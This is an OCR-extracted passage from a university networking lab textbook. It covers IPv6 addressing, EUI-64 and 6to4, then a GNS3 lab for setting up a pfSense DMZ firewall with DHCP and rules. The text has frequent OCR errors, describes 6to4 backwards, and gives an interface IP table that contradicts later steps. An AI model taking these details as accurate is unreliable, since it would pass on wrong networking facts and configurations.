routing prefix is determined by the mask. In IPv6, your subnet mask can be upwards of 64 bits. For instance, if our
IPv6 address is 2001:ef48:64a3:0000:0000:0000:32ad:0792, then it would be broken into two parts:

Routing Prefix | Host Identifier

2001:ef48:64a3:0000: | 0000:0000:32ad:0792

Returning to the street address analogy, think of the routing prefix as a street name, and the host identifiers are
the house numbers on that street. Just like how you would visit house 1234 on EIm Street, you would visit host
0000:0000:32ad:0792 at prefix 2001:ef48:64a3:0000

Now, with IPv6 we can be even more specific. Say you have a netmask of /48. Now only the first 48 bits represent
the routing prefix. However, the 16 bits that were previously in the prefix are not allocated to the host identifier.
These bits now identify the subnet your device is on.

Using the street address analogy, imagine the same road again. However, now imagine EIm Street has several
alleys where people built houses after the neighborhood was constructed. If you want to find a house, in one of
the alleys, you must first go down Elm Street and then the correct alley to get to the house. In order to get to house
1234, | must take Elm Street to Roadrunner Alley, then continue until | find house 1234. Returning to IPv6 land, if |
want to find host 0000:0000:32ad:0792, | must first look on subnet 0000 on prefix 2001:ef48:64a3.

We want to go to the house 2001:ef48:64a3:0000:0000:0000:32ad:0792/48
2001 ef48 64a3 0000 0000 0000 32ad 0792
Street Alley House number
Routing Prefix Subnet Host ID

a An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-12

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-13

Now that we have covered routing prefixes and subnets, let's look at the Host ID portion of the IPv6 address called
the Extended Unique Identifier (EUI). The EUI consists of the MAC address of the interface. Recall from IPv4 that
a MAC address is 48-bits long and consists of two parts, the manufacturer’s ID and the serial number. However,
the IPv6 Host ID (EIU) is 64-bits long, so some conversion is necessary.

Uppercase or Lowercase when writing Hex digits

3c:27:be:56:1d:d0 VS. 3C:27:BE:56:1D:D0
«  Officially

0 In mathematics, any hexadecimal representation is done in lowercase.

o RFC 5952 says lowercase for cyber functions.
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Real-world

o ltreally depends on the interface being used. Sometimes it is easier to read the address if

it uses all uppercase, other times, lowercase is easier to read.

o ltdoesn't matter. We have more important things to care about.

2

We split the MAC address into its constituent parts.
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Given a MAC Address: 3c:27:be:56:1d:d0

3c:27:be

56:1d:d0

Manufacture’s ID (OUI - Organizationally Unique ID)

Serial Number

Then we insert the MAC into the mold of an IPv6 host ID and add the reserved bits of FFFE to

indicate an EUI-64 generated IPv6 address.

Given a MAC Address: 3c:27:be:56:1d:d0

3c 27

be

add FF FE

56 1d

do

3¢ 27

be

56 1d

do

3. Now we have to look at the first octet and change the universal/local bit. The bit is 7th from the left.
The bit should be a 1, which indicates local, not a 0 which means universal.

Given a MAC Address: 3¢:27:be:56:1d:d0

oul IPv6 Reserve Serial Number
3c 27 be ff fe 56 1d do
0011 1100 Convert to binary
0011 1100 Locate the universal/local (U/L) bit and check its setting. This is set to universal (0)
0011 1110 We flip this bit to local (1)
3e Convert the binary back to Hexidecmal which has now changed from 3c to 3e
3e 27 be ff fe 56 1d do

Resulting IPv6 Host ID

3e27:beff:fe56:1dd0

4. Practice your IPv6 knowledge with these questions:

An interactive H5P element has been excluded from this version of the text. You can view it online here:

htt

s://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-14

™
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B Aninteractive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-15

Now we look at how an IPv4 address is converted to an IPv6 address. This occurs when a network is using IPv4,
but the packets need to tunnel through an IPv6 network to another IPv4 network. This is called 6to4 notation. The
6to4 tunnel concatenates the IPv4 address to the IPv6 address 2002::/16

Let's use the following IPv4 address as our example: 192.168.50.14

Start with IPv4 address 192 168 50 14
Convert to binary 1100 0000 1010 1000 0011 0010 0000 1110
Convert to Hex c0 a8 32 Oe
CAT 2002::/16 c0 a8 32 Qe

Result an IPv6 address 2002:c0a8:320e::1/64

Phase Il - IPv6 MiniLab

Here we'll showcase IPv6 in action. It's important to remember that IPv6 functions very similarly to IPv4 in
practice.

1. Open GNS3 and create a new project. Title the project appropriately

2. Add a switch and two VPCs to the network

3. Connect the VPCs to the switch

4. Select a routing prefix through random generation. In our example we'll be using 2001:db8::/32
5. Select a host ID for each VPC. In our example the host IDs are ::2 and ::3

6. Open the console for the first VPC and assign it the IPv6 address. Note that you can use the
abbreviated address in the VPC

ip 2001:db8::2/32

7. Now open a Wireshark capture on either of the connections. Then, use the ping command to ping
the other host on the network

ping 2001:db8::3/32

8. On Wireshark you should see that this operates exactly like an IPv4 address in practice. The only
difference is the elimination of Network Address Translation and DHCP since we have enough IP
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addresses for every device to have one

Phase Il - Prefix Designation

Similar to DHCP, IPv6 has a method for assigning IP addresses to hosts. The method for determining the host
ID was explained above leaving the network prefix to be determined. A device determines this prefix by soliciting
a router to assign it a prefix.

1. On the same GNS3 project add a MikroTik router to the workspace and connect it to the switch

N

Start the MikroTik router and open the console

3. Use the following command to assign the router an IPv6 address

ipv6 address add address=2001:db8::1/32 interface=etherl

4. Attach a Ubuntu Desktop machine to the switch but do not start it yet
5. Open a Wireshark capture on the link between the router and the switch

6. Start the Ubuntu Desktop machine and open a terminal. Utilize the command

7. In Wireshark you should see a router solicitation and a router reply. In the terminal the machine
should now have an IPv6 address assigned with the prefix 2001:db8

End of Lab

Deliverables

Complete this worksheet and turn it in to receive credit for this exercise: Worksheet

Assignment 1 - Create your own GNS3 IPv6 network

«  Use adifferent IPv6 routing prefix
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«  Connect it to the router from the minilab and use it for prefix designation

. Make sure the new network can ping the old one

Suggested Grading Criteria:

. Screenshot of GNS3 network

+  Screenshot of pinging the old network form the new network
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PART Il

DEFENDING AN ENTERPRISE
NETWORK

The chapters in this part are focused on hardening an Enterprise Network in various ways. It is assumed that
the learner has already worked through the chapters in Building an Enterprise Network. Learners will need that
baseline of knowledge in order to complete these labs.

553
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CHAPTER 31

Network Hardening - pfSense Intranet

MATHEW J. HEATH VAN HORN, PHD AND JACOB CHRISTENSEN

This chapter walks the learner through the steps needed to add a pfSense server to an enterprise network.
Specifically, we are going to set up the lab, configure the pfSense server to act as our DHCP server, open all the
firewall ports so you can see what is going on in the network, and then watch how the addition of each firewall
rule affects our enterprise network.

LEARNING OBJECTIVES

« Configure pfSense for first use in GNS3
+ Create various firewall rules to regulate IPv4 traffic
+ Use pfSense as the DHCP server

* Use Wireshark to observe the effects of firewall rules

PREREQUISITES

+ Chapter 6 - Adding a Virtual Machine to GNS3

+ Chapter 10 - Create a pfSense Server

+ Chapter 11 - Create a Ubuntu Desktop

DELIVERABLES

+ Screenshot of GNS3 Working environment once everything works
+ Screenshot of the pfSense Dashboard
« Screenshot of all inside devices being able to ping

* Screenshot of the 3 rules for the DMZ

RESOURCES

+ We consolidated information from a wide variety of resources. However, three sources stand out as
being particularly helpful to this lab and we want to recognize them here:

555
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o Saifudeen Sidheeq - “How to Configure PfSense DMZ Setup? | Step by Step” -
https://getlabsdone.com/how-to-configure-pfsense-dmz-setup/

o Frank at WunderTech - “"How to Set Up a DMZ in pfSense” - https://www.wundertech.net/how-
to-set-up-a-dmz-in-pfsense/

o Nikhath K - “pFSense DMZ Setup Guide” - https://bobcares.com/blog/pfsense-dmz-setup/

CONTRIBUTORS AND TESTERS

+ Julian H. Romano, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

Phase | - Setting up the Lab

The following steps are to create a baseline environment for completing the lab. It makes assumptions about
learner knowledge from completing previous labs.

The completed network topology will look like this:
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INTERNET
192.168.122.0/24

EXTERNAL-PC

ISP

HE

GRAY-JWITCH

™"
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FIREMVALL
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DMZ

20.0.0.0/24

RED-SWITCH WEB-SERVER

— -

>
&

MANAGEMENT
99,99,99.0/24
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LAN
10.0.0.0]24
PC1l

BLUE -*VITCH

PC3

Figure 1 - Final network

1. InVirtualBox, create clones of your pfSense firewall and your Ubuntu Linux Desktop

NOTE: When importing new VMs into GNS3, ensure that Allow GNS3 to use any configured VirtualBox
adapter is selected in their network settings!

2. Start GNS3
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2.1. Import the devices
2.2. Onthe pfSense Server, change the network settings to accommodate 4 adapters (Figure 2)
2.3. Create a new project: LAB_16

3. Build the following network:

ISP
INTERNET
192.168.122.0/24
EXTERNAL-PC GRAY-§WITCH
-
&=
(__)
MANAGEMENT DMZ
99.99.99.0/24 20.0.0.0/24
IT-ADMIN PURPLE-SWITCH FIREM/ALL RED-SWITCH WEB-SERVER
LAN BLUE-#\HTCH
10.0.0.0/24
-3
&
&

PC1 PC2 PC3

Figure 3 - GNS3 workspace

3.1. “Internet”: (NO BOX) - 192.168.122.0/24
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3.1.1. One switch - Ethernet switch
3.1.2. Internet connectivity with host machine - NAT Cloud (ISP)

3.1.3. One client machine - Guest/VM with browser (external pc)

NOTE: While this example uses GNS3's Chromium appliance, any device that has
a browser installed will suffice.

3.2. Management: (PURPLE BOX) - 99.99.99.0/24

3.2.1. One switch - Ethernet switch

3.2.2. One client machine - Guest/VM with browser (it admin)
3.3. DMZ: (RED BOX) - 20.0.0.0/24

3.3.1. One switch - Ethernet switch

3.3.2. One client machine - Ubuntu Server (webserver)

NOTE: Ensure that the Apache2 package is installed.

> apt update

> apt install apache2

Since this lab isn't focused on configuring a real webserver, we will simply use the
default webpage that Apache provides out of the box. For now, simply verify that the
daemon is running:

559
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eliahly determine

Figure 4 - Apache2 daemon status

If you are having issues with getting Ubuntu or Apache to work, you can “simulate”
a webserver with a VPCS client. The idea is to have an end device in the DMZ that we
can ping from other areas on the network.

3.4. LAN: (BLUE BOX) - 10.0.0.0/24
3.4.1. One switch - Ethernet switch
3.4.2. Three client machines - VPCS

3.5. pfSense Firewall connections:

NOTE: This example uses the version 2.7.0 of pfSense Community Edition. You can either
host this device as a VirtualBox VM or as a GNS3 appliance.

3.5.1. Connect ethernetO to the ISP switch (Internet)
3.5.2. Connect ethernet1 to the Management switch
3.5.3. Connect ethernet2 to the DMZ switch

3.5.4. Connect ethernet3 to the LAN switch

Phase Il - Configuring pfSense via CLI Console

Using VirtualBox instead of a physical box has its unique challenges. Mostly VirtualBox tries to help us do what
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we are trying to do and that can cause us some conflicts. We can work around these issues, but it may stress
your cyber knowledge!

1.

In GNS3, start the pfSense server

NOTE: There are like 3 seconds where you can change your boot options, but just let the timer click
down and let it boot. The first time it starts can take a few minutes.

1.1. Once the VM finishes booting, you should see the CLI menu below

561
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TightVNC: QEMU (pfSense-2.7.0)

[Starting syslog...done.

Gtarting CROH... done.

pfSense 2.7.8-RELEASE amd64 Hed Jun 28 B3:53:34 UTC 2823
Bootup complete

reeB5SD/famdb4 (pfSense.home.arpal (ttyvB)
JEHU Guest - Hetgate Device ID: 773b9f7f96b2499993ac
#% Welcome to pfSense 2.7 .B-RELEASE (amd64) on pfSense ===

HAN (wan) -> emB -> w4/DHCP4: 192.168.122.66/24
LAN (lan) -> eml -> wd: 192.168.1.1/24

Logout (S5H only) 9) pfTop

Assign Interfaces 18) Filter Logs

Set interface(s) IP address 11) Restart webConfigurator
Reset webConfigurator password 12) PHP shell + pfSense tools
Reset to factory defaults 13) Update from console

Reboot system 14) Enable Secure Shell (sshd)
Halt system 15) Restore recent configuration
Ping host 16) Restart PHP-FPH

Shell

nter an option:

Figure 5 - pfSense command line console

2. Asyou can see, pfSense only recognizes two interfaces - em0 (WAN) and em1 (LAN) - as currently
active

2.1. Assign each of the pfSense interfaces on this device with a network

NOTE: Use the table below as a configuration guide for this step.

GNS3 Interface pfSense Interface pfSense Interface Name
EthernetO em0 WAN
Ethernetl em1 LAN
Ethernet2 em2 OPT1
Ethernet4 em3 OPT2

2.2. Select option 1 to Assign Interfaces (Figure 6)

2.2.1. When prompted - Should VLANSs be set up now [y|n]? - type
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2.2.2. Enter the WAN interface name or ‘a’ for auto-detection

2.2.3. Enter the LAN interface name...

2.2.4. Similarly, use em2 for the Optional 1 (OPT1) and em3 for the Optional 2 (OPT2)
2.2.5. Verify the settings and type y to proceed (Figure 7)
2.3. You can see that all interfaces are now correctly assigned and active (Figure 8)
3. Configure IP and DHCP settings
3.1. Select option 2 to Set interface(s) IP address

3.2. You will see a menu of the 4 interfaces with their current network settings (Figure 8)

NOTE: We will walk you through the first two interfaces, and leave the rest for you to
complete on your own. Use the table below to assist with configuration settings.

emO WAN Dynamic - DHCP

em1 LAN Static - 20.2.2.1/24
em2 OPT1 Static - 10.1.1.1/24
em3 OPT2 Static - 212.10.10.1/24

3.3. Selectinterface 1 - WAN

3.3.1. Configure IPv4 address WAN interface via DHCP? (y/n)

|

3.3.2. Configure IPv6 address WAN interface via DHCP6? (y/n)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-assigned-interfaces.png
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|

3.3.3. Enter the new WAN IPv6 address
Press Enter for none (we are not using IPv6)

3.3.4. Do you want to revert to HTTP as the webConfigurator protocol? (y/n)

|

3.3.5. Press Enter to finish em0 configuration and proceed

3.4. Selectinterface 2 - LAN

3.4.1. Configure IPv4 address LAN interface via DHCP?

3.4.2. Enter the new LAN IPv4 address

99.99.99.1/24

3.4.3. Enter the new LAN IPv4 upstream gateway address
Press Enter for none

3.4.4. Configure IPv6 address LAN interface via DHCP6? (y/n)

|

3.4.5. Enter the new WAN IPv6 address
Press Enter for none (we are not using IPv6)

3.4.6. Do you want to enable the DHCP server on LAN? (y/n)

|
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3.4.7. Enter the start address of the IPv4 client address range:

99,99,99,8

3.4.8. Enter the end address of the IPv4 client address range:

99,99.99,100

3.4.9. Do you want to revert to HTTP as the webConfigurator protocol?

3.4.10. You should get a message on how to access the Web Configurator and be
instructed to press Enter to continue (Figure 10)

3.5. Setup em2 (OPT1), and em3 (OPT2) in a similar fashion as em1 using the IP address
spaces we picked earlier (Figure 11)

4. In GNS3, start the desktop in the Management LAN and check the current network settings

4.1. Verify that DHCP works and that our management PC has an IP address in the range of
99.99.99.5 - 99.99.99.100

Bhox:™% if ig

93,5 Brazt:99.9
07+ deff:fedb il B4 !
MTL 10

Figure 12 - Client network settings verified
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NOTE: You can request a new IP address at any time with the following commands (some
Linux distros may vary...)
Release the currently assigned address on the interface named enp0s3.

> dhclient -r -i enpOs3 -v

Broadcast DHCP Discover packets to assign a new address.

dhclient -i enp0s3 -v

4.2. Open Firefox and type the IP address you were given for webConfigurator (it should be
https://99.99.99.1/)

We haven't set up any certificates yet, so you will get a big warning. Just click Advanced... and
go to the site anyway by accepting the risk and continuing. This will take you to the pfSense
GUI interface to Sign In. Previously, when you were asked to revert to HTTP, if you said y, you
will not get any warnings. Great choice to avoid a security message, but bad practice because
everything you do can be read by others monitoring your network traffic.
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TightVNC: x11
Privacy error X +

< C (Y A Notsecure | bHps://99.99.99.1

A

Your connection is not private

Attackers might be trying to steal your information from 99.99.99.1 (for example, passwords,
messages, or credit cards). Learn more

NET:ERR_CERT_AUTHORITY_INVALID

Q To get Chrome’s highest level of security, turn on enhanced protection

Advanced Back to safety

Figure 13 - Caution page connecting to pfSense

5. Return to the GNS3 workspace, start the other devices in the DMZ and LAN spaces, and verify they
are receiving IP addresses

NOTE: If a PC doesn't get a DHCP IP, don't worry about it, we'll address it later using the GUI.

Phase Il - Configuring pfSense via GUI Console

pfSense is not generally configured using the CLI menu. The GUI interface provides much more options and
is easier to work with. At this point, all of your devices should be getting IP addresses from the pfSense DHCP
server. If they aren’t getting a DHCP IP address, don't worry, we'll check them in the GUI.

1. On the Management PC, return to the login page at https://99.99.99.1 (Figure 14)

1.1. At the Sign In screen use the default creds to log in:


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-login-page-1.png
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Username: admin
Password: pfsense

2. Once logged in, on the top ribbon menu select Status->Dashboard (Figure 15)

NOTE: At the top, you will see a large warning about using the default username and password.
Normally | would say change this, but I've had too many students ask me, “Dr. HVH? What's my
password?” so please leave this alone for this exercise. On the right, you can see the interface settings
we made earlier. | recommend that you click on these to get an idea of how the GUI and CLI commands
line up but do not make any changes.

3. Atthe top menu bar, select Interfaces->Assignments (Figure 16)
3.1. Click onWAN to bring up the configuration settings for just that interface (Figure 17)
3.1.1. Review the various options to get familiar with the available options

3.1.2. Make the following changes as necessary

Description ISP
IPv4 Configuration Type DHCP
IPv6 Configuration Type None

3.1.3. Scroll to the bottom and press Save

3.1.4. Now you will see a double-check prompt, so select Apply Changes (Figure 18)

3.2. Return to the Interface Assignments page and make the following adjustments to the
remain adapters (Figure 19):

3.2.1. LAN - change to “Management” and verify static IP assignment of 99.99.99.1/24
3.2.2. OPT1 - change to “DMZ" and verify static IP assignment of 20.0.0.1/24

3.2.3. OPT2 - change to “LAN" and verify static IP assignment of 10.0.0.1/24

NOTE: Yes, we could have assigned LAN to em3 from the get-go. However, by
doing it this way, you gain experience in using the GUI. You will encounter a few of
these moments in these labs. The goal is to help you learn, not just read and click.
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PFSENSE INTRANET 569

4. SelectServices ->DHCP Server to open the DHCP settings (Figure 20)
4.1. View the details for the DHCP services on the Management interface

4.2. Let's pretend that we have reserved the IP addresses 99.99.99.101-99.99.99.110 so we
will add a DHCP pool to use the remaining IP address

4.2.1. Click on + Add Pool

4.2.2. Pool Description ->“Management”
4.2.3. Range ->99.99.99.111 t0 99.99.99.254
4.2.4. Click on save

4.2.5. Your settings should look like (Figure 21)

4.3. Verify DHCP services for the ISP, DMZ, and LAN networks and change as necessary

NOTE: Remember that all DHCP servers need to provide a gateway address to their clients
too.

5. Return to the Dashboard by selecting Status ->Dashboard

Phase IV - Open Everything Up

In a default two-interface LAN and WAN configuration, pfSense software utilizes default deny on the WAN and default
allow on the LAN. Everything inbound from the Internet is denied, and everything out to the Internet from the LAN
is permitted. All home-grade routers use this methodology, as do all similar open-source projects and most similar
commercial offerings. It's what most people expect out of the box, therefore it is the default configuration. That said,
while it is a convenient way to start, it is not the recommended means of long-term operation. - (Last accessed 25
October 2023 https://docs.netgate.com/pfsense/en/latest/firewall/best-practices.html )

We are going to violate these settings for demonstration purposes. Don't worry, we'll put them back.

1. Navigate to the pfSense top ribbon and select Firewall->Rules
2. Click on the Management tab, observe the firewall rules and read the descriptions (Figure 22)

2.1. Anti-Lockout Rule - keeps users from accidentally locking themselves out of the GUI
interface

2.2. Default allow LAN to any rule - Does not restrict any access for IPv4 hosts


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-services-dhcp-management.png
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2.3. Default allow LAN IPv6 to any rule - Does not restrict any access for IPv6 hosts

NOTE: We aren't using IPv6, so you can delete the Default allow LAN IPV6 to any rule by
pressing thetrashcan button.

3. Click on the DMZ tab to open the rules for the DMZ

4. Click on Add (there are no rules so it doesn’t matter which one) to open the Edit Firewall Rule page
(Figure 23)

4.1. Make the following changes using the drop-down menus and textboxes:

Action Pass

Interface DMZ

Address Family IPv4

Protocol Any

Source DMZ net

Destination Any

Description Allow DMZ to any rule

4.2. Save and apply changes

5. Repeat the above steps for the LAN interface

NOTE: We are going to leave the ISP interface completely blocked for now.

6. Test the firewall settings

6.1. From the Management PC, ping the simulated webserver and any of the LAN PCs

NOTE: If you still can’t ping, you have done something wrong and will need to troubleshoot
the problem. Did you remember to apply DHCP to all the end devices?

6.2. From the webserver, ping a LAN PC and the Management PC

6.3. From the Management PC, view the webpage hosted on the webserver
(http://20.0.0.5:80)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-firewall-rules-management.png
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TightVNC: x11
Bl pfSensehome.arpa-Firewal: Rul X @ Apache? Ubuntu Default Page: 1t v X 4+

C (Y A Notsecure | 20.0.0.8

Apache2 Default Page

Ubuntu e

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu
systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can
read this page, it means that the Apache HTTP server installed at this site is working properly. You should replace this
file (located at /var/www/html/index.himl) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is
currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files
optimized for interaction with Ubuntu tools. The configuration system is fully documented in
lusrishareldoclapache2lREADME.Debian.gz. Refer to this for the full documentation. Documentation for the web
server itself can be found by accessing the manual if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/
[-apacheZ.conf
| - ports.conf
[ mods-enabled
[ |-*load
[ '=*conf
[-- conf-enabled
[ '=*conf
[ sites-enabled
[ '=*conf

Figure 24 - Default Apache2 website

Phase V - Separate the DMZ from the LAN

The whole point of a DMZ is to have two separate infrastructures that can't interact with each other directly,
they have to negotiate data transfer through a 3rd party, in this case, pfSense. So we are going to set up traffic
blocking between the DMZ and the LAN.

1. On the pfSense top menu bar, select Firewall->Rules->DMZ

1.1. Edit the existing rule with the following changes:
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Action Block

Interface DMZ

Address Family IPv4

Protocol Any

Source DMZ net

Destination LAN net

Description Separating the LAN from the DMZ

1.2. Click on Save and of course Apply Changes

2. Now navigate to the web server console and try pinging the LAN PC again. You should get a timeout
error

WEBSERVER: ping 10,0.0.5

WERSERYER> [

Figure 25 - Webserver pinging PC1

3. Right-click on the connection on the webserver-pfSense link and start a Wireshark capture

3.1. Try to ping the LAN PC again. Notice that there is no response from the pfSense server

now

20.0.0.7 10.08.8.5 ICMP  Echo (ping) request
20.0.0.7 10.8.8.5 ICMP  Echo (ping) request
20.0.0.7 10.08.8.5 ICMP  Echo (ping) request
20.0.0.7 10.8.8.5 ICMP  Echo (ping) request
20.0.0.7 10.08.8.5 ICMP  Echo (ping) request

Figure 26 - Failed communication from DMZ to LAN

3.2. Navigate to one of the LAN PCs and try to ping the webserver. It should be successful
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18.8.8.5 20.08.0.7 ICMP Echo (ping) request
20.0.0.7 16.8.8.5 ICMP Echo (ping) reply
18.8.8.5 20.08.0.7 ICMP Echo (ping) request
20.0.0.7 16.8.8.5 ICMP Echo (ping) reply
18.8.8.5 20.08.0.7 ICMP Echo (ping) request
20.0.0.7 16.8.8.5 ICMP Echo (ping) reply
18.8.8.5 20.08.0.7 ICMP Echo (ping) request
20.0.0.7 16.8.8.5 ICMP Echo (ping) reply
18.8.8.5 20.08.0.7 ICMP Echo (ping) request
20.0.0.7 16.8.8.5 ICMP Echo (ping) reply

Figure 27 - Successful communication from LAN to DMZ

Phase VI - Access the Internet

Our web server needs access to the Internet. So we are going to add a rule to allow this to occur. Remember,
we are going to use the ISP_Test_PC as our simulated Internet. We are going to allow only the Web_Server to
access the Internet through the Firewall. We are going to introduce using Aliases in pfSense for this phase.

1. Navigate to the Ubuntu_Desktop and use the browser to get access to the pfSense GUI
2. Using the top ribbon menu select Firewall ->Aliases->Ports

2.1. Select Add and adjust the properties of the Alias as follows (Figure 28)

Name Internet_Ports
Description Access to the Internet
Type Port(s)
P feesewn ]
443 https
80 http
53 dns

2.2. Save and Apply Changes
3. Using the top ribbon menu select Firewall ->Aliases->IP

3.1. Select Add and adjust the properties of the Alias as follows (Figure 29)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-firewall-aliases-ports.png
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Name DMZ_Internet_Enabled_Hosts
Description Allows machines in DMZ to access the Internet
Type Host(s)

20.0.0.5-20.0.0.100 DMZ network

3.2. Save and Apply Changes
4. Using the top ribbon menu select Firewall->Rules->DMZ

4.1. Select Add and adjust the properties as follows (Figure 30)

Action Pass

Interface DMZ

Address Family IPv4

Protocol TCP/UDP

Source Single host or alias

Source Address DMZ_Internet_Enabled_Hosts

Destination Any

Description Allow DMZ Internet access
|oestmatonporerange e ]

From (other)

Custom Internet_Ports

To (other)

Custom Internet_Ports

4.2. Save and Apply Changes (Figure 31)

Phase VII - ICMP

If you were working ahead, you might have noticed that you can't ping from the webserver to the ISP_Test_IP.
Remember we opened some ports, but Ping is a function of ICMP that doesn't use ports. We need a separate Alias
to allow this.

1. Navigate back to Firewall -> Rules->DMZ

1.1. Add another rule, below the others, with the following settings:


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/pfsense-intranet-rule2-settings.png
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Action Pass

Interface DMZ

Address Family IPv4

Protocol ICMP

ICMP Subtypes Any

Source DMZ net
Destination Any
Description Allow for Pings

1.2. Save and Apply Changes

2. Verify that you now have three firewalls in place for the DMZ network
TightVNC: x11
i pfsensehome.arpa- Firewall: Rul X +

< C 1t A MNotsecure | https://99.99.99.1/firewall_rules.php?if=optl

Rlisense

COMMUNITY EDITION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Firewall / Rules/ DMZ

The changes have been applied successfully. The firewall rules are now reloading in the background.
Monitor the filter reload progress.

Floating ISP MANAGEMENT DMZ LAN

Rules (Drag to Change Order)

O States Protocol Source Port Destination Port Gateway Queue Schedule Description Actions

0O X 0/420B IPv4* DMZ net *  LANnet * * none Separatingthe LAN  +» &' (L]
from the DMZ Oom

O & 80/139 IPv4 DMZ_Internet_ Internet_  * Allow DMZ Internet  +§» &' (L]
KiB TCP/UDP  Enabled_Hosts Ports access Omx

O « 0/0B IPv4ICMP  DMZ net Allow for pings &S0
any Omx

Figure 32 - DMZ firewall rules
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3. Test the communication of the network as it currently stands

3.1. From the Webserver, ping the External PC (it should be successful)

3.2. From PC1, ping the webserver (it should be successful)

3.3. From the External PC, ping the Webserver...

| (® Connecting... x|\

& 2000880 *x|[Bvcooge G B »

©&  Private Browsing

Firefox won't remember any history for this window.

In a Private Browsing
browser history, sear
form history, cookies
However, files you doE
will be kept.

To stop Private Brow:

@ While this compu
history, your inter

@.:

Figure 33 - External PC failed to see webserver

Failure! Whether we try to ping or view the default Apache webpage, the external PC is
unable to communicate with our DMZ. So how are people going to be able to reach our

webserver?

End of Lab

Deliverables
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Four screenshots are required to receive credit for completing this exercise:

«  Screenshot of the GNS3 workspace with all devices placed and labeled (Phase II)
+  Screenshot of the pfSense services dashboard after DHCP has been set up (Phase IlI)

+  Screenshot of the web server successfully pinging a LAN PC and the Management PC (Phase IV)

. Screenshot of the 3 rules for the DMZ (Phase VII)

Assignment 1 - Scan the networks using Kali Linux and nmap
. Import a Kali Linux VM into the GNS3 environment. Use the same network settings as the other
devices used in this chapter.
+  Attach a cable from the Kali machine to a switch and run nmap looking for active IP addresses and
open ports. (type at the command prompt to read instructions about using nmap)
o Screenshot of ISP switch
o Screenshot of Management Switch
o Screenshot of DMZ switch

° Screenshot of LAN Switch

RECOMMENDED GRADING CRITERIA:
. four screenshots

o ISP has no open ports

o Management has open ports
o DMZ has open ports

o LAN has open ports
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List of Figures

Node properties »

pfSense-Firewall-1 configuration

General settings Metwork Usage

q b

Adapters: 4
Type: Intel PRO/1000 MT Desktop (82 540EM) =
Custom adapters: Configure custom adapters

v | Allow GNS3 to use any configured VirtualBox adapter

Reset oK Cancel Apply

Figure 2 - GNS3 pfSense template configuration
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TightVNC: QEMU (pfSense-2.7.0)

A) Logout (55H only) 9) pfTop

1) Assign Interfaces 181 Filter Logs

2) 5et interface(s) IP address 11) Restart webConfigurator

3) Reset webConfigurator password 12) PHP shell + pfSense tools

4) Reset to factory defaults 13) Update from console

5) Reboot system 143 Enable Secure Shell (sshd)
6) Halt system 151 Restore recent configuration
7Y Ping host 16) Restart PHP-FPH

8) Shell

nter an option: 1

alid interfaces are:

H8:88:27:600:88:81 (up) Intel(R) Legacy PRO/1888 HMT 82548EH
BG:88:27:00:88:82 (up) Intel(R) Legacy PRO/1888 HMT 82548EH
HE:HB:27:88:88:83 (down) Intel(R) Legacy PRO/1BHB HMT 82Z54H8EH
HE:HB:27:88:88:84 (down) Intel(R) Legacy PRO/1BHB HT 8Z54HEH

Do VLAHs need to be set up first?
If VLAHs will not be used. or only for optional interfaces. it is typical to
=ay no here and use the webConfigurator to configure YLAHs later. if required.

Should YLAHs be set up now [ylnl?

Figure 6 - List of pfSense interfaces ready to be assigned
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TightVNC: QEMU (pfSense-2.7.0)

If the names of the interfaces are not known, auto-detection can
he used instead. To use auto-detection, please disconnect all
interfaces before pressing 'a’ to begin the process.

nter the HMAH interface name or 'a’ for auto-detection
(emd eml em2 em3 or al: emHd

nter the LAN interface name or 'a’ for auto-detection
OTE: this enables full Firewalling/HAT mode.
(eml em2 em3 a or nothing if finished): eml

nter the Optional 1 interface name or 'a' for auto-detection
(em2 em3d a or nothing if finished): emZ

nter the Optional 2 interface name or 'a’ for auto-detection
(em3 a or nothing if finished): em3

he interfaces will be assigned as follows:

emf
eml
em?2
em3

Do you want to proceed [yInl? y

Figure 7 - pfSense interfaces correctly assigned

PHD
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TightVNC: QEMU (pfSense-2.7.0)

Do you want to proceed [yInl? y

riting configuration.. .done.
One moment while the settings are reloading... done!
JEMU Guest - Hetgate Device ID: cSel5faS5aS58c9diBctBA

#% Helcome to pfSense 2.7 .8-RELEASE (amd64) on pfSense ===
HAH (wan) emB -» v4fDHCP4: 192 .168.122 .66/24

LAH (lan) eml ->» wd: 192.168.1.1/24
OPT1 (optl) em2 -

OPTZ (opt2) em3d -

B) Logout (55H only) pfTop

1) Assign Interfaces Filter Logs

2) 5et interface(s) IP address Restart webConfigurator

3) Reset vwebConfigurator password PHP shell + pfS5ense tools

4) Reset to factory defaults Update from console

5) Reboot system Enable Secure 5Shell (sshd)
6) Halt system Restore recent configquration
7Y Ping host Restart PHP-FPH

8) Shell

nter an option:

Figure 8 - Updated pfSense CLI console
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TightVNC: QEMU (pfSense-2.7.0)

onfigure IPv6 address LAH interface wia DHCPG6? (y/n) n

nter the new LAH IPv6 address. Press <EHTER> for none:

lo you want to enable the DHCP server on LAH? (y/nl) y

nter the start address of the IPv4 client address range: 99.99.99.5
nter the end address of the IPv4 client address range: 99.99.99.188
Disabling IPwv6 DHCPD. ..

